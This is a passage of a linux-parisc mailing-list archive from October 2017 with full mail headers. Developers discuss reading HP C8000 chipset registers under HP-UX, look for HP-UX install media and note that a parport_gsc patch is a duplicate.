X-Trace: blaine.gmane.org 1507570989 30449 195.159.176.226 (9 Oct 2017 17:43:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Oct 2017 17:43:09 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 09 19:42:59 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1c4r-0007iw-Fx
	for glpp-linux-parisc@m.gmane.org; Mon, 09 Oct 2017 19:42:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755045AbdJIRnB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 9 Oct 2017 13:43:01 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:54085 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754798AbdJIRnA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 9 Oct 2017 13:43:00 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1e1c51-0006Z6-00; Mon, 09 Oct 2017 19:43:03 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id 0B764508B48; Mon,  9 Oct 2017 19:41:46 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27919
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27919>

On Mon, Oct 09, 2017 at 12:30:36PM -0400, John David Anglin wrote:
> On 2017-10-09, at 11:34 AM, Helge Deller wrote:
> 
> > Maybe PDC does not reset (all of?) those registers when it reboots?
> > If so, maybe it's possible to boot into Linux afterwards and get the registers from there?
> 
> Attached is dump from linux after rebooting from hpux.

thanks, but since firmware will sets all chipset stuff from scratch, there
is no new information in that dump.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Mon, 9 Oct 2017 18:22:33 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <0253C94D-1566-496F-961B-222A2D6EECFD@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de> <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net> <20171006143917.GA4906@alpha.franken.de> <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net> <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net> <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de> <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net> <20171009174146.GA21988@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1507587754 11352 195.159.176.226 (9 Oct 2017 22:22:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Oct 2017 22:22:34 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 10 00:22:30 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1gRR-0001xH-QL
	for glpp-linux-parisc@m.gmane.org; Tue, 10 Oct 2017 00:22:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755638AbdJIWWg convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 9 Oct 2017 18:22:36 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:58794 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1755637AbdJIWWg (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 9 Oct 2017 18:22:36 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20171009222233.EBIB15064.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 9 Oct 2017 18:22:33 -0400
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by torspm01.bell.net
          with ESMTP
          id <20171009222233.HLBZ31528.torspm01.bell.net@[192.168.2.25]>;
          Mon, 9 Oct 2017 18:22:33 -0400
In-Reply-To: <20171009174146.GA21988@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=GbL4pUfL c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=_kvw9IhcIbLencmAFLgA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27920>

On 2017-10-09, at 1:41 PM, Tom Bogendoerfer wrote:

> On Mon, Oct 09, 2017 at 12:30:36PM -0400, John David Anglin wrote:
>> On 2017-10-09, at 11:34 AM, Helge Deller wrote:
>> 
>>> Maybe PDC does not reset (all of?) those registers when it reboots?
>>> If so, maybe it's possible to boot into Linux afterwards and get the registers from there?
>> 
>> Attached is dump from linux after rebooting from hpux.
> 
> thanks, but since firmware will sets all chipset stuff from scratch, there
> is no new information in that dump.

After searching the internet, I don't think there's a way to read these registers from userspace on hpux.
It looks like writing a kernel module is the only way...

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Mon, 9 Oct 2017 20:56:40 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <7521862C-4EC7-47F5-AFF9-41A44775CFAB@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de> <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net> <20171006143917.GA4906@alpha.franken.de> <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net> <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net> <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de> <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net> <20171009174146.GA21988@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1507597000 23445 195.159.176.226 (10 Oct 2017 00:56:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 10 Oct 2017 00:56:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 10 02:56:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1iqY-0000eL-RF
	for glpp-linux-parisc@m.gmane.org; Tue, 10 Oct 2017 02:56:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755610AbdJJA4m convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 9 Oct 2017 20:56:42 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:38931 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1754049AbdJJA4l (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 9 Oct 2017 20:56:41 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171010005640.TBN26446.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 9 Oct 2017 20:56:40 -0400
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by mtlspm02.bell.net
          with ESMTP
          id <20171010005640.ZECT3399.mtlspm02.bell.net@[192.168.2.25]>;
          Mon, 9 Oct 2017 20:56:40 -0400
In-Reply-To: <20171009174146.GA21988@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=t-IPkPogAAAA:8 a=FBHGMhGWAAAA:8 a=MC5o_uAxvnDFAigyJusA:9 a=CjuIK1q_8ugA:10 a=fw7kC_xxM1MA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27921
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27921>

On 2017-10-09, at 1:41 PM, Tom Bogendoerfer wrote:

> thanks, but since firmware will sets all chipset stuff from scratch, there
> is no new information in that dump.

Does this help:
https://opensource.apple.com/source/X11server/X11server-85.3/Xquartz/xorg-server-1.4.2-apple56/hw/xfree86/os-support/bus/zx1PCI.c.auto.html

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Tue, 10 Oct 2017 20:46:21 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20171010184621.GA18582@alpha.franken.de>
References: <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
 <20171001114626.GA16118@alpha.franken.de>
 <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net>
 <20171006143917.GA4906@alpha.franken.de>
 <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net>
 <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
 <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
 <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net>
 <20171009174146.GA21988@alpha.franken.de>
 <7521862C-4EC7-47F5-AFF9-41A44775CFAB@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507661200 3420 195.159.176.226 (10 Oct 2017 18:46:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 10 Oct 2017 18:46:40 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 10 20:46:32 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1zXs-0003dd-Hm
	for glpp-linux-parisc@m.gmane.org; Tue, 10 Oct 2017 20:46:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756206AbdJJSqb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 10 Oct 2017 14:46:31 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:57472 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756037AbdJJSqb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 10 Oct 2017 14:46:31 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1e1zY1-0000hH-00; Tue, 10 Oct 2017 20:46:33 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id B938E508B4F; Tue, 10 Oct 2017 20:46:21 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <7521862C-4EC7-47F5-AFF9-41A44775CFAB@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27922
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27922>

On Mon, Oct 09, 2017 at 08:56:40PM -0400, John David Anglin wrote:
> On 2017-10-09, at 1:41 PM, Tom Bogendoerfer wrote:
> 
> > thanks, but since firmware will sets all chipset stuff from scratch, there
> > is no new information in that dump.
> 
> Does this help:
> https://opensource.apple.com/source/X11server/X11server-85.3/Xquartz/xorg-server-1.4.2-apple56/hw/xfree86/os-support/bus/zx1PCI.c.auto.html

unfortunatly no. The part about setting up dma mappings and other init
code isn't in there. Nevertheless it's an interesting file, I didn't
know before.

Does anybody have HP-UX ISOs ? I have enough spare disks and C8000 to
run one with HP-UX. The problem is I don't have a mediakit and can't
find one on ebay...

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Tue, 10 Oct 2017 18:06:41 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <5CF7B86C-F92C-4CED-8A90-A11ABCFBE6B4@bell.net>
References: <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de> <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net> <20171006143917.GA4906@alpha.franken.de> <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net> <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net> <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de> <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net> <20171009174146.GA21988@alpha.franken.de> <7521862C-4EC7-47F5-AFF9-41A44775CFAB@bell.net> <20171010184621.GA18582@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1507673208 5205 195.159.176.226 (10 Oct 2017 22:06:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 10 Oct 2017 22:06:48 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 11 00:06:43 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e22fc-0005Ki-Dt
	for glpp-linux-parisc@m.gmane.org; Wed, 11 Oct 2017 00:06:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755552AbdJJWGo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 10 Oct 2017 18:06:44 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:57736 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1753507AbdJJWGn (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 10 Oct 2017 18:06:43 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171010220642.CLGO4192.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 10 Oct 2017 18:06:42 -0400
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by mtlspm01.bell.net
          with ESMTP
          id <20171010220642.JBNF5856.mtlspm01.bell.net@[192.168.2.25]>;
          Tue, 10 Oct 2017 18:06:42 -0400
In-Reply-To: <20171010184621.GA18582@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=qDAlCzp_GWjo7P4uzxgA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27923
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27923>

On 2017-10-10, at 2:46 PM, Tom Bogendoerfer wrote:

> Does anybody have HP-UX ISOs ? I have enough spare disks and C8000 to
> run one with HP-UX. The problem is I don't have a mediakit and can't
> find one on ebay...

I believe I have ISOs but I'll have to dig.  I'll look next weekend.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: parport_gsc: constify parisc_device_id
Date: Sat, 14 Oct 2017 22:27:37 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20171014212737.GA4712@sudip-laptop>
References: <208280b55a359db78eecee720799955f2043fb49.1503162439.git.arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508016460 24134 195.159.176.226 (14 Oct 2017 21:27:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 14 Oct 2017 21:27:40 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: jejb@parisc-linux.org, deller@gmx.de, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: Arvind Yadav <arvind.yadav.cs@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 14 23:27:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e3Ty3-0006y3-Oz
	for glpp-linux-parisc@m.gmane.org; Sat, 14 Oct 2017 23:27:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751138AbdJNV1m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 14 Oct 2017 17:27:42 -0400
Original-Received: from mail-wr0-f193.google.com ([209.85.128.193]:38719 "EHLO
        mail-wr0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751004AbdJNV1l (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 14 Oct 2017 17:27:41 -0400
Original-Received: by mail-wr0-f193.google.com with SMTP id v91so1733745wrc.5;
        Sat, 14 Oct 2017 14:27:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=wT7jCQq/xw5Rrvq9Y/p8nyqCoOzmklqJrfhRSnp8QCs=;
        b=m+m6lsGsEw2z9P3aH0MSJzfD9yIxnGMe2XKaq2Gf53KekHC4AWwL54Bc17M9Cvmy8l
         pRGPi7A37b8DkH7uPaSv0M2YXIhzTL+rkbeTuS0/QG743bwAyr9MbObKUiIEHXsTE7X5
         NBPAZj90/SDyQxq7tSvW68ot4P+jpK7YSAWc8toHqMWuBOZ3Hp4LjFvSyFJFZAsMLqTN
         Ee+/Gy6dpatfFMp3wSkAf8/ShVdhRBgGfTY8Vc9wQ6LBvPaX6dRaXMmypU4RMGe7KBYA
         FmhgNkzLVaTXDx1aMPU/8cDIWm3jm1uveLZGDPp65ZS1ld6LM3LmuI25qgGyyJdjMk3t
         HGPQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=wT7jCQq/xw5Rrvq9Y/p8nyqCoOzmklqJrfhRSnp8QCs=;
        b=RXfDP6eLoruh6UuB4sLdFOM5nJtpFIeiAs5FyWeXisCT4W2TYFdLFaLGtwCCqT6+SW
         6tcZ8/9x5ZblvjSjzBWu4aRAaSk2hiU68d0FZjMhe9q2hjxNLdS5LZBuDLcdYdD6nt19
         vjetJq+TMnFJx5GmigeoA/ZzRY6UOaGRzV4MaJBjAq0FKqJZ6BiTq6iXEQCw0j2b6Hns
         swn7cIIuHo3Bu5KDasec1RKRyt6X6MYtTDgOcoOrFuputzLCMaH40EFdPY3g1t4spwq9
         R7Qow8jt8FQKjAEf5QJoVUrkINr2YlZTiPg3TrSKBPJYu9hNlhYrHgXXdt6KV7mfD2QI
         m0lQ==
X-Gm-Message-State: AMCzsaXw6bywHp8zd/FqqLGYlEVT53C3MbBtlJxvCTkg3c5mVgd62lBP
        ArjKcpasxeC+w/qzTkyWwhs=
X-Google-Smtp-Source: AOwi7QCsVZbUfnySbGjFLEc5v2LYN1Ek0K4lMmpdPcyzRo+G+jcloKkZL2C/Bm/avnehBFnqWlxnJQ==
X-Received: by 10.223.198.82 with SMTP id u18mr4789291wrg.5.1508016460523;
        Sat, 14 Oct 2017 14:27:40 -0700 (PDT)
Original-Received: from sudip-laptop (cpc101300-bagu16-2-0-cust362.1-3.cable.virginm.net. [86.21.41.107])
        by smtp.gmail.com with ESMTPSA id h185sm8871946wma.19.2017.10.14.14.27.39
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Sat, 14 Oct 2017 14:27:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <208280b55a359db78eecee720799955f2043fb49.1503162439.git.arvind.yadav.cs@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27924 gmane.linux.kernel:2592974
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27924>

On Sat, Aug 19, 2017 at 10:38:41PM +0530, Arvind Yadav wrote:
> parisc_device_id are not supposed to change at runtime. All functions
> working with parisc_device_id provided by <asm/parisc-device.h> work
> with
> const parisc_device_id. So mark the non-const structs as const.
> 
> Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
> ---
>  drivers/parport/parport_gsc.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)

This has already been done by f0973443bef7 ("parisc/parport_gsc: Fix section mismatches")

--
Regards
Sudip
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: scsi: Wrong diagnostic page; asked for 1 got 8
Date: Sun, 15 Oct 2017 18:33:09 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <B53C874B-D705-498B-8677-CBA2A5842010@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1508106804 12661 195.159.176.226 (15 Oct 2017 22:33:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 15 Oct 2017 22:33:24 +0000 (UTC)
Cc: "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 16 00:33:16 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e3rSy-0000mY-Ot
	for glpp-linux-parisc@m.gmane.org; Mon, 16 Oct 2017 00:33:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751498AbdJOWdL convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 15 Oct 2017 18:33:11 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:57339 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751030AbdJOWdL (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 15 Oct 2017 18:33:11 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20171015223309.EFUE20003.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 15 Oct 2017 18:33:09 -0400
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by torspm02.bell.net
          with ESMTP
          id <20171015223309.HXOX2751.torspm02.bell.net@[192.168.2.25]>;
          Sun, 15 Oct 2017 18:33:09 -0400
X-Mailer: Apple Mail (2.1085)
